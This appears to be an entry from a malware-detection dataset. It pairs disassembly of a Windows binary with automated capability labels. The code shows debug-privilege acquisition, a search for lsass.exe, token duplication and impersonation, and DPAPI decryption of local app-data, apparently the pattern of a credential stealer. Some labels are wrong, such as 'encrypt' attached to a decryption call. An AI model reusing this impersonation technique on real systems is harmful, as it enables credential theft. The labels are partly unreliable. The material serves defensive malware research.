joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41a2a0
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x30
mov eax, dword [0x571134]
xor eax, esp
mov dword [esp + 0x2c], eax
push esi
push edi
lea eax, [esp + 0x1c]
mov edi, ecx
push eax
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x41a39f
lea eax, [esp + 0x18]
push eax
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x41a3bc
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x20]
push 0
push 0
push 0x10
mov dword [esp + 0x34], eax
lea eax, [esp + 0x30]
push eax
push 0
push dword [esp + 0x2c]
mov dword [esp + 0x3c], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x48], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
push dword [esp + 0x18]
test eax, eax
je 0x41a3d9
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
mov ecx, edi
call fcn.0041a460
lea eax, [esp + 0x18]
push eax
push 0xa
push dword [edi]
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x41a3fc
add edi, 4
push edi
push 1
push 2
push 0
push 0xf01ff
push dword [esp + 0x2c]
call dword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
push dword [esp + 0x18]
test eax, eax
je 0x41a419
call esi
push dword [edi]
call dword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
test eax, eax
je 0x41a438
mov ecx, dword [esp + 0x34]
pop edi
pop esi
xor ecx, esp
call fcn.004fb4f7
mov esp, ebp
pop ebp
ret
push str.LookupPrivilegeValue_failed.
lea ecx, [esp + 0x10]
call fcn.00401840
push 0x56d5d0
lea eax, [esp + 0x10]
push eax
call fcn.004fcbaf
push str.OpenProcessToken_failed.
lea ecx, [esp + 0x10]
call fcn.00401840
push 0x56d5d0
lea eax, [esp + 0x10]
push eax
call fcn.004fcbaf
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push str.AdjustTokenPrivileges_failed.
lea ecx, [esp + 0x10]
call fcn.00401840
push 0x56d5d0
lea eax, [esp + 0x10]
push eax
call fcn.004fcbaf
push str.OpenProcessToken_failed.
lea ecx, [esp + 0x10]
call fcn.00401840
push 0x56d5d0
lea eax, [esp + 0x10]
push eax
call fcn.004fcbaf
call esi
push str.DuplicateTokenEx_failed.
lea ecx, [esp + 0x10]
call fcn.00401840
push 0x56d5d0
lea eax, [esp + 0x10]
push eax
call fcn.004fcbaf
push str.ImpersonateLoggedOnUser_failed.
lea ecx, [esp + 0x10]
call fcn.00401840
push 0x56d5d0
lea eax, [esp + 0x10]
push eax
call fcn.004fcbaf
int3
Function at 0x41a460
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x524e70
mov eax, dword fs:[0]
push eax
sub esp, 0x26c
mov eax, dword [0x571134]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov dword [ebp - 0x264], ebx
xor eax, eax
push eax
push 2
mov dword [ebp - 0x268], eax
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
mov dword [ebp - 0x260], esi
cmp esi, 0xffffffff
je 0x41a680
lea eax, [ebp - 0x258]
mov dword [ebp - 0x258], 0x22c
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x41a61b
nop dword [eax + eax]
mov dword [ebp - 0x28], 0
lea eax, [ebp - 0x234]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
lea edx, [eax + 2]
mov dword [ebp - 4], 0xffffffff
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x41a505
sub eax, edx
lea ecx, [ebp - 0x28]
sar eax, 1
push eax
lea eax, [ebp - 0x234]
push eax
call fcn.004090d0
mov eax, dword [ebp - 0x14]
lea edi, [ebp - 0x28]
mov ebx, dword [ebp - 0x28]
cmp eax, 8
setae byte [ebp - 0x259]
cmovae edi, ebx
cmp dword [ebp - 0x18], 9
jne 0x41a57c
movzx ecx, word [edi]
mov esi, 0x6c
mov edx, 9
mov eax, str.lsass.exe
cmp ecx, esi
jb 0x41a573
sub edi, eax
cmp cx, si
ja 0x41a573
cmp edx, 1
je 0x41a5cc
movzx ecx, word [edi + eax + 2]
add eax, 2
dec edx
movzx esi, word [eax]
cmp cx, si
jae 0x41a55b
mov eax, dword [ebp - 0x14]
mov esi, dword [ebp - 0x260]
cmp byte [ebp - 0x259], 0
je 0x41a5b4
lea ecx, [eax*2 + 2]
mov eax, ebx
cmp ecx, 0x1000
jb 0x41a5aa
mov ebx, dword [ebx - 4]
add ecx, 0x23
sub eax, ebx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41a69b
push ecx
push ebx
call fcn.004fb2db
add esp, 8
lea eax, [ebp - 0x258]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x41a4e0
jmp 0x41a615
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x250]
mov dword [ebp - 0x268], eax
cmp ecx, 8
jb 0x41a60f
lea ecx, [ecx*2 + 2]
mov eax, ebx
cmp ecx, 0x1000
jb 0x41a605
mov ebx, dword [ebx - 4]
add ecx, 0x23
sub eax, ebx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41a69b
push ecx
push ebx
call fcn.004fb2db
add esp, 8
mov esi, dword [ebp - 0x260]
mov ebx, dword [ebp - 0x264]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x268]
test eax, eax
jne 0x41a633
push str.lsass.exe_process_not_found.
jmp 0x41a685
push eax
push 0
push 0x400
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebx], eax
test eax, eax
jne 0x41a664
push str.OpenProcess_failed.
lea ecx, [ebp - 0x274]
call fcn.00401840
push 0x56d5d0
lea eax, [ebp - 0x274]
jmp 0x41a695
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004fb4f7
mov esp, ebp
pop ebp
ret
push str.CreateToolhelp32Snapshot_failed.
lea ecx, [ebp - 0x1c]
call fcn.00401840
push 0x56d5d0
lea eax, [ebp - 0x1c]
push eax
call fcn.004fcbaf
call fcn.00506c4f
int3
Function at 0x41afd0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x524fd0
mov eax, dword fs:[0]
push eax
sub esp, 0x210
mov eax, dword [0x571134]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x21c], esi
lea eax, [ebp - 0x218]
mov dword [ebp - 0x21c], esi
push eax
push 0
push 0
push 0x1c
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
je 0x41b050
call fcn.0041ef60
mov dword [esi], 0
xor eax, eax
mov dword [esi + 0x10], 0
push eax
mov dword [esi + 0x14], 7
mov word [esi], ax
mov dword [ebp - 4], 0xffffffff
push 0x546278
jmp 0x41b097
mov dword [esi], 0
xor eax, eax
mov dword [esi + 0x10], 0
lea ecx, [ebp - 0x218]
mov dword [esi + 0x14], 7
mov word [esi], ax
lea edx, [ecx + 2]
mov dword [ebp - 4], 0xffffffff
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x41b080
sub ecx, edx
lea eax, [ebp - 0x218]
sar ecx, 1
push ecx
push eax
mov ecx, esi
call fcn.004090d0
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004fb4f7
mov esp, ebp
pop ebp
ret

Function at 0x41c0a0
Capabilities:
Encrypt data using dpapi

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x571134]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ecx + 4]
push esi
mov esi, dword [ecx]
sub eax, esi
push edi
mov dword [ebp - 0x14], eax
mov edi, edx
lea eax, [ebp - 0xc]
mov dword [ebp - 0x10], esi
push eax
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
je 0x41c12b
mov eax, dword [ebp - 8]
mov esi, dword [ebp - 0xc]
mov dword [ebp - 0x18], eax
mov eax, dword [edi + 8]
push ebx
mov ebx, dword [edi]
sub eax, ebx
cmp esi, eax
jbe 0x41c0fc
push esi
mov ecx, edi
call fcn.004117d0
mov ebx, dword [edi]
push esi
push dword [ebp - 0x18]
push ebx
call fcn.004fd090
add esp, 0xc
lea eax, [esi + ebx]
mov dword [edi + 4], eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop ebx
pop edi
mov al, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004fb4f7
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor al, al
pop edi
xor ecx, ebp
pop esi
call fcn.004fb4f7
mov esp, ebp
pop ebp
ret
Function at 0x41da20
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xc
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, ecx
mov ecx, dword [ebp + 0xc]
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [esp + 0xc], edi
test eax, eax
jg 0x41da52
jl 0x41da45
test ecx, ecx
jne 0x41da52
xor eax, eax
xor edx, edx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
cmp dword [ebx + 0x38], 0
je 0x41db12
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], eax
mov ecx, ebx
call fcn.00408e00
mov esi, eax
mov eax, edx
mov dword [esp + 0x14], eax
test eax, eax
jl 0x41dabe
jg 0x41da7d
test esi, esi
je 0x41dabe
mov ecx, dword [esp + 0xc]
cmp ecx, eax
jg 0x41da95
mov eax, dword [esp + 0x10]
jl 0x41da8f
cmp eax, esi
jae 0x41da95
mov esi, eax
mov dword [esp + 0x14], ecx
mov eax, dword [ebx + 0x1c]
push esi
push dword [eax]
push edi
call fcn.004fd090
mov eax, dword [ebx + 0x2c]
add esp, 0xc
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0xc]
sub ecx, esi
sbb edx, dword [esp + 0x14]
sub dword [eax], esi
mov eax, dword [ebx + 0x1c]
add dword [eax], esi
jmp 0x41dadf
mov eax, dword [ebx]
mov ecx, ebx
call dword [eax + 0x1c]
mov edx, dword [esp + 0xc]
cmp eax, 0xffffffff
je 0x41dafb
mov ecx, dword [esp + 0x10]
mov esi, 1
add ecx, 0xffffffff
mov byte [edi], al
adc edx, 0xffffffff
add edi, esi
mov dword [esp + 0xc], edx
mov dword [esp + 0x10], ecx
test edx, edx
jg 0x41da64
jl 0x41dafb
test ecx, ecx
jne 0x41da64
mov eax, dword [ebp + 0xc]
sub eax, dword [esp + 0x10]
mov ecx, dword [ebp + 0x10]
sbb ecx, edx
mov edx, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebx + 0x1c]
mov edi, ecx
mov edx, dword [eax]
test edx, edx
je 0x41db4b
mov eax, dword [ebx + 0x2c]
mov eax, dword [eax]
test eax, eax
je 0x41db4b
cmp eax, ecx
mov esi, ecx
cmovb esi, eax
push esi
push edx
push dword [esp + 0x14]
call fcn.004fd090
mov eax, dword [ebx + 0x2c]
add esp, 0xc
add dword [esp + 0xc], esi
sub edi, esi
sub dword [eax], esi
mov eax, dword [ebx + 0x1c]
add dword [eax], esi
cmp dword [ebx + 0x4c], 0
mov ecx, edi
je 0x41dbbb
mov esi, dword [ebx + 0xc]
lea eax, [ebx + 0x3c]
cmp dword [esi], eax
jne 0x41db71
mov edx, dword [ebx + 0x54]
mov ecx, dword [ebx + 0x50]
sub edx, ecx
mov dword [esi], ecx
mov eax, dword [ebx + 0x1c]
mov dword [eax], ecx
mov eax, dword [ebx + 0x2c]
mov dword [eax], edx
mov esi, dword [esp + 0xc]
mov ecx, edi
cmp edi, 0xfff
jbe 0x41dba4
nop
push dword [ebx + 0x4c]
push 0xfff
push 1
push esi
call fcn.0050c23e
sub edi, eax
add esp, 0x10
add esi, eax
mov ecx, edi
cmp eax, 0xfff
jne 0x41dbcf
cmp edi, eax
ja 0x41db80
test ecx, ecx
je 0x41dbbb
push dword [ebx + 0x4c]
push edi
push 1
push esi
call fcn.0050c23e
mov ecx, edi
add esp, 0x10
sub ecx, eax
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
sub eax, ecx
sbb edx, 0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
sub eax, edi
pop edi
pop esi
sbb edx, 0
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x429b90
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5262b5
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x571134]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x30], esi
push 0x40
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x34], esi
call fcn.00409570
movups xmm0, xmmword [str.BufferedTransformation:_this_object_doesnt_allow_input]
mov edi, eax
mov dword [ebp - 0x18], 0x37
mov eax, 0x3f
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x14], eax
movups xmmword [edi], xmm0
movups xmm0, xmmword [0x528d24]
movups xmmword [edi + 0x10], xmm0
movups xmm0, xmmword [0x528d34]
movups xmmword [edi + 0x20], xmm0
mov eax, dword [0x528d44]
mov dword [edi + 0x30], eax
mov ax, word [0x528d48]
mov word [edi + 0x34], ax
mov al, byte [0x528d4a]
mov byte [edi + 0x36], al
mov byte [edi + 0x37], 0
xorps xmm0, xmm0
mov dword [ebp - 4], 0
movq qword [esi + 4], xmm0
mov dword [esi], vtable.CryptoPP::Exception.0
lea ecx, [esi + 0x10]
mov dword [esi + 0xc], 0
push 0x40
mov byte [ebp - 4], 1
mov dword [esi + 0x10], 0
mov dword [esi + 0x20], 0
mov dword [esi + 0x24], 0
call fcn.00409570
mov dword [esi + 0x10], eax
mov ecx, 0x3f
movups xmm0, xmmword [edi]
inc ecx
push ecx
movups xmmword [eax], xmm0
push edi
movups xmm0, xmmword [edi + 0x10]
movups xmmword [eax + 0x10], xmm0
movups xmm0, xmmword [edi + 0x20]
movups xmmword [eax + 0x20], xmm0
movq xmm0, qword [edi + 0x30]
movq qword [eax + 0x30], xmm0
mov dword [esi + 0x20], 0x37
mov dword [esi + 0x24], 0x3f
mov esi, dword [ebp - 0x2c]
mov dword [esi], vtable.CryptoPP::NotImplemented.0
call fcn.004fb2db
add esp, 8
mov dword [esi], vtable.CryptoPP::InputRejecting_class_CryptoPP::BufferedTransformation_::InputRejected.0
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004fb4f7
mov esp, ebp
pop ebp
ret
Function at 0x42ac70
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5262b5
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x571134]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x30], esi
push 0x40
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x34], esi
call fcn.00409570
movups xmm0, xmmword [str.HashVerificationFilter:_message_hash_or_MAC_not_valid]
mov edi, eax
mov dword [ebp - 0x18], 0x35
mov eax, 0x3f
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x14], eax
movups xmmword [edi], xmm0
movups xmm0, xmmword [0x5291a4]
movups xmmword [edi + 0x10], xmm0
movups xmm0, xmmword [0x5291b4]
movups xmmword [edi + 0x20], xmm0
mov eax, dword [0x5291c4]
mov dword [edi + 0x30], eax
mov al, byte [0x5291c8]
mov byte [edi + 0x34], al
mov byte [edi + 0x35], 0
xorps xmm0, xmm0
mov dword [ebp - 4], 0
movq qword [esi + 4], xmm0
mov dword [esi], vtable.CryptoPP::Exception.0
lea ecx, [esi + 0x10]
mov dword [esi + 0xc], 3
push 0x40
mov byte [ebp - 4], 1
mov dword [esi + 0x10], 0
mov dword [esi + 0x20], 0
mov dword [esi + 0x24], 0
call fcn.00409570
mov ecx, eax
mov dword [esi + 0x10], ecx
movups xmm0, xmmword [edi]
movups xmmword [ecx], xmm0
movups xmm0, xmmword [edi + 0x10]
movups xmmword [ecx + 0x10], xmm0
movups xmm0, xmmword [edi + 0x20]
movups xmmword [ecx + 0x20], xmm0
mov eax, dword [edi + 0x30]
mov dword [ecx + 0x30], eax
mov ax, word [edi + 0x34]
mov word [ecx + 0x34], ax
mov ecx, 0x3f
inc ecx
mov dword [esi + 0x20], 0x35
push ecx
push edi
mov dword [esi + 0x24], 0x3f
call fcn.004fb2db
mov eax, dword [ebp - 0x2c]
add esp, 8
mov dword [eax], vtable.CryptoPP::HashVerificationFilter::HashVerificationFailed.0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004fb4f7
mov esp, ebp
pop ebp
ret
Function at 0x43daf0
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 0xc]
sub esp, 8
mov edx, dword [esp + 0x10]
push ebx
push ebp
push esi
mov esi, dword [esp + 0x18]
xor ebx, ebx
push edi
cmp eax, 4
jb 0x43db28
mov edi, eax
shr edi, 2
nop
mov ecx, dword [esi]
sub eax, 4
xor ecx, dword [edx]
add esi, 4
or ebx, ecx
add edx, 4
sub edi, 1
jne 0x43db10
mov dword [esp + 0x24], eax
mov edi, ebx
mov ecx, ebx
shr edi, 8
xor ebp, ebp
or edi, ebx
shr ecx, 0x10
and edi, 0xff00
or edi, ecx
movzx ecx, bl
shr edi, 8
or edi, ecx
mov dword [esp + 0x10], edi
test eax, eax
je 0x43dc17
cmp eax, 8
jb 0x43dbfc
mov ebx, eax
lea ecx, [edx + 4]
mov edi, esi
and ebx, 0xfffffff8
sub edi, edx
xorps xmm4, xmm4
mov dword [esp + 0x14], edi
xorps xmm3, xmm3
mov edi, dword [esp + 0x10]
mov eax, dword [esp + 0x14]
nop dword [eax]
movd xmm2, dword [esi + ebp]
lea ecx, [ecx + 8]
movd xmm1, dword [ecx - 0xc]
xorps xmm0, xmm0
punpcklbw xmm2, xmm0
add ebp, 8
punpcklbw xmm1, xmm0
punpcklwd xmm2, xmm0
punpcklwd xmm1, xmm0
pxor xmm2, xmm1
movd xmm1, dword [ecx - 8]
punpcklbw xmm1, xmm0
por xmm4, xmm2
movd xmm2, dword [eax + ecx - 8]
punpcklbw xmm2, xmm0
punpcklwd xmm2, xmm0
punpcklwd xmm1, xmm0
pxor xmm2, xmm1
por xmm3, xmm2
cmp ebp, ebx
jb 0x43db80
mov eax, dword [esp + 0x24]
por xmm3, xmm4
movaps xmm0, xmm3
psrldq xmm0, 8
por xmm3, xmm0
movups xmm0, xmm3
psrldq xmm0, 4
por xmm3, xmm0
movd ecx, xmm3
or edi, ecx
cmp ebp, eax
jae 0x43dc17
sub esi, edx
lea ebx, [edx + ebp]
sub eax, ebp
movzx edx, byte [ebx + esi]
lea ebx, [ebx + 1]
movzx ecx, byte [ebx - 1]
xor edx, ecx
or edi, edx
sub eax, 1
jne 0x43dc03
test edi, edi
pop edi
pop esi
pop ebp
sete al
pop ebx
add esp, 8
ret
Function at 0x43dc30
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 0x10]
sub esp, 0x1c
test eax, eax
je 0x43dd77
mov edx, dword [esp + 0x24]
push ebx
mov ebx, dword [esp + 0x2c]
push esi
mov esi, dword [esp + 0x28]
push edi
cmp eax, 4
jb 0x43dc73
mov edi, eax
shr edi, 2
mov ecx, dword [edx]
sub eax, 4
xor ecx, dword [ebx]
add edx, 4
mov dword [esi], ecx
add ebx, 4
add esi, 4
sub edi, 1
jne 0x43dc58
mov dword [esp + 0x38], eax
push ebp
xor ebp, ebp
mov dword [esp + 0x10], esi
mov dword [esp + 0x14], ebx
test eax, eax
je 0x43dd73
cmp eax, 0x40
jb 0x43dd58
lea ecx, [ebx - 1]
lea edi, [esi - 1]
add ecx, eax
add edi, eax
cmp esi, ecx
ja 0x43dca5
cmp edi, ebx
jae 0x43dd58
lea ecx, [edx - 1]
add ecx, eax
cmp esi, ecx
ja 0x43dcb6
cmp edi, edx
jae 0x43dd58
mov ecx, eax
lea edi, [esi + 0x20]
mov eax, esi
mov dword [esp + 0x18], edi
sub eax, ebx
and ecx, 0xffffffc0
mov dword [esp + 0x20], eax
mov edi, edx
sub edi, ebx
mov dword [esp + 0x28], ecx
mov eax, edx
mov dword [esp + 0x1c], edi
mov edi, dword [esp + 0x18]
lea ecx, [ebx + 0x10]
sub eax, esi
mov esi, dword [esp + 0x20]
mov dword [esp + 0x24], eax
mov eax, dword [esp + 0x1c]
mov ebx, dword [esp + 0x24]
movups xmm0, xmmword [ecx - 0x10]
lea ecx, [ecx + 0x40]
movups xmm1, xmmword [edx + ebp]
lea edi, [edi + 0x40]
pxor xmm1, xmm0
movups xmm0, xmmword [ecx - 0x40]
movups xmmword [edi - 0x60], xmm1
movups xmm1, xmmword [eax + ecx - 0x40]
pxor xmm1, xmm0
movups xmm0, xmmword [ecx - 0x30]
movups xmmword [esi + ecx - 0x40], xmm1
movups xmm1, xmmword [ebx + edi - 0x40]
pxor xmm1, xmm0
movups xmm0, xmmword [ecx - 0x20]
movups xmmword [edi - 0x40], xmm1
movups xmm1, xmmword [edx + ebp + 0x30]
add ebp, 0x40
pxor xmm1, xmm0
movups xmmword [edi - 0x30], xmm1
cmp ebp, dword [esp + 0x28]
jb 0x43dcf1
mov eax, dword [esp + 0x3c]
mov esi, dword [esp + 0x10]
mov ebx, dword [esp + 0x14]
mov dword [esp + 0x28], ebp
cmp ebp, eax
jae 0x43dd73
sub edx, ebx
lea edi, [ebx + ebp]
sub esi, ebx
sub eax, ebp
mov cl, byte [edi + edx]
lea edi, [edi + 1]
xor cl, byte [edi - 1]
mov byte [edi + esi - 1], cl
sub eax, 1
jne 0x43dd61
pop ebp
pop edi
pop esi
pop ebx
add esp, 0x1c
ret
Function at 0x4895e0
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x24
push ebx
push ebp
push esi
mov esi, dword [esp + 0x38]
push edi
mov edi, dword [esp + 0x44]
mov eax, dword [edi + 0x34]
mov ebx, dword [edi + 0x38]
movzx ecx, byte [edi + 9]
mov dword [esp + 0x10], ebx
mov edx, dword [eax + 0x28]
mov eax, dword [eax]
lea ebp, [edx + ebx]
mov eax, dword [eax + 0xe0]
mov dword [esp + 0x1c], eax
lea eax, [ebx + ecx]
movzx ecx, byte [eax + 5]
mov dword [esp + 0x14], ebp
mov ebp, dword [esp + 0x40]
mov dword [esp + 0x30], eax
add ebp, esi
movzx eax, byte [eax + 6]
shl ecx, 8
or ecx, eax
mov dword [esp + 0x2c], ebp
mov ebp, dword [edi + 0x40]
xor edi, edi
cmp ecx, edx
cmovbe edi, ecx
sub edx, edi
mov dword [esp + 0x3c], edi
push edx
lea eax, [edi + ebx]
push eax
mov eax, dword [esp + 0x24]
add eax, edi
push eax
call fcn.004fd090
mov ecx, dword [esp + 0x44]
add esp, 0xc
xor eax, eax
add ecx, 0x28
nop
cmp dword [ecx], esi
jg 0x48966d
inc eax
add ecx, 4
cmp eax, 6
jl 0x489660
mov ecx, dword [esp + 0x38]
lea eax, [eax + 4]
mov ebx, dword [ecx + eax*4]
lea edi, [ecx + eax*4]
mov eax, dword [esp + 0x10]
add eax, dword [esp + 0x3c]
mov edx, dword [esp + 0x14]
mov dword [esp + 0x18], ebx
mov dword [esp + 0x20], edx
mov dword [esp + 0x24], eax
mov eax, dword [ecx + 8]
mov ecx, dword [ecx + 0xc]
mov eax, dword [eax + esi*4]
movzx ecx, word [ecx + esi*2]
cmp eax, dword [esp + 0x24]
jb 0x4896c4
cmp eax, edx
jae 0x4896c4
mov edx, ecx
lea ecx, [edx + eax]
cmp ecx, dword [esp + 0x14]
ja 0x48973d
mov ecx, dword [esp + 0x1c]
sub ecx, dword [esp + 0x10]
add eax, ecx
jmp 0x4896d1
mov edx, ecx
lea ecx, [edx + eax]
cmp ecx, ebx
jbe 0x4896d1
cmp eax, ebx
jb 0x489749
mov ecx, dword [esp + 0x20]
sub ecx, edx
mov ebx, ecx
mov dword [esp + 0x20], ecx
sub ebx, dword [esp + 0x10]
sar ebx, 8
mov byte [ebp], bl
mov dword [esp + 0x28], ebx
mov bl, cl
sub bl, byte [esp + 0x10]
mov byte [ebp + 1], bl
add ebp, 2
mov byte [esp + 0x3c], bl
mov ebx, dword [esp + 0x28]
cmp ecx, ebp
jb 0x489795
push edx
push eax
push ecx
call fcn.004fd090
inc esi
add esp, 0xc
cmp esi, dword [esp + 0x2c]
jge 0x489755
mov ebx, dword [esp + 0x18]
mov edx, dword [esp + 0x14]
mov ecx, dword [esp + 0x38]
cmp dword [edi + 0x18], esi
jg 0x489692
mov ebx, dword [edi + 4]
add edi, 4
mov dword [esp + 0x18], ebx
jmp 0x489692
push 0x5398bc
push 0x12f4d
jmp 0x48979f
push 0x5398bc
push 0x12f52
jmp 0x48979f
mov ecx, dword [esp + 0x30]
mov edx, dword [esp + 0x44]
mov eax, dword [esp + 0x40]
pop edi
pop esi
mov word [edx + 0x18], ax
mov byte [edx + 0xc], 0
mov word [ecx + 1], 0
movzx eax, byte [edx + 0x19]
mov byte [ecx + 3], al
movzx eax, byte [edx + 0x18]
mov byte [ecx + 4], al
mov al, byte [esp + 0x34]
mov byte [ecx + 5], bl
mov byte [ecx + 6], al
xor eax, eax
pop ebp
mov byte [ecx + 7], 0
pop ebx
add esp, 0x24
ret
push 0x5398bc
push 0x12f58
push str.database_corruption
push str._s_at_line__d_of___.10s_
push 0xb
call fcn.0045a560
add esp, 0x14
mov eax, 0xb
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x24
ret
Function at 0x48b0a0
Capabilities:
Reference sql statements

Disassembly:
push ebx
mov ebx, dword [esp + 0xc]
push edi
push dword [esp + 0x1c]
mov edi, dword [esp + 0x10]
push dword [esp + 0x1c]
push dword [esp + 0x1c]
mov byte [edi + 0x10], 1
push ebx
push ebx
push str.SELECT_1_FROM___w_.sqlite_master_WHERE_name_NOT_LIKE_sqliteX____ESCAPE_X_AND_sql_NOT_LIKE_create_virtual___AND_sqlite_rename_test__Q__sql__type__name___d___Q___d_NULL
push edi
call fcn.004b2010
add esp, 0x1c
cmp dword [esp + 0x14], 0
jne 0x48b0e8
push dword [esp + 0x1c]
push dword [esp + 0x1c]
push ebx
push str.SELECT_1_FROM_temp.sqlite_master_WHERE_name_NOT_LIKE_sqliteX____ESCAPE_X_AND_sql_NOT_LIKE_create_virtual___AND_sqlite_rename_test__Q__sql__type__name__1___Q___d_NULL
push edi
call fcn.004b2010
add esp, 0x14
pop edi
pop ebx
ret
Function at 0x4a6a10
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov eax, dword [esp + 4]
sub esp, 8
mov edx, dword [esp + 0x14]
push ebp
push esi
xor esi, esi
xor ebp, ebp
cmp dword [eax + 0x14], esi
jle 0x4a6ace
push ebx
push edi
nop dword [eax]
mov eax, dword [eax + 0x10]
mov ebx, esi
xor ebx, 1
cmp esi, 2
cmovge ebx, esi
mov ecx, ebx
add ecx, ecx
mov edi, dword [eax + ecx*8 + 0xc]
mov dword [esp + 0x10], edi
test edx, edx
je 0x4a6a95
mov eax, dword [eax + ecx*8]
mov edi, edx
sub edi, eax
movzx edx, byte [eax]
movzx ecx, byte [edi + eax]
cmp edx, ecx
jne 0x4a6a67
test edx, edx
je 0x4a6a95
inc eax
jmp 0x4a6a55
movzx ecx, byte [ecx + 0x52e638]
movzx edx, byte [edx + 0x52e638]
sub edx, ecx
jne 0x4a6a7c
inc eax
jmp 0x4a6a55
test ebx, ebx
jne 0x4a6ab2
push dword [esp + 0x24]
push str.main
call fcn.004c1f20
add esp, 8
test eax, eax
jne 0x4a6ab2
mov eax, dword [esp + 0x10]
push 0
push dword [esp + 0x24]
add eax, 0x18
push eax
call fcn.0046f800
add esp, 0xc
mov ebp, dword [eax + 8]
test ebp, ebp
jne 0x4a6ac4
mov eax, dword [esp + 0x1c]
inc esi
mov edx, dword [esp + 0x24]
cmp esi, dword [eax + 0x14]
jl 0x4a6a30
pop edi
pop ebx
pop esi
mov eax, ebp
pop ebp
add esp, 8
ret
pop esi
mov eax, ebp
pop ebp
add esp, 8
ret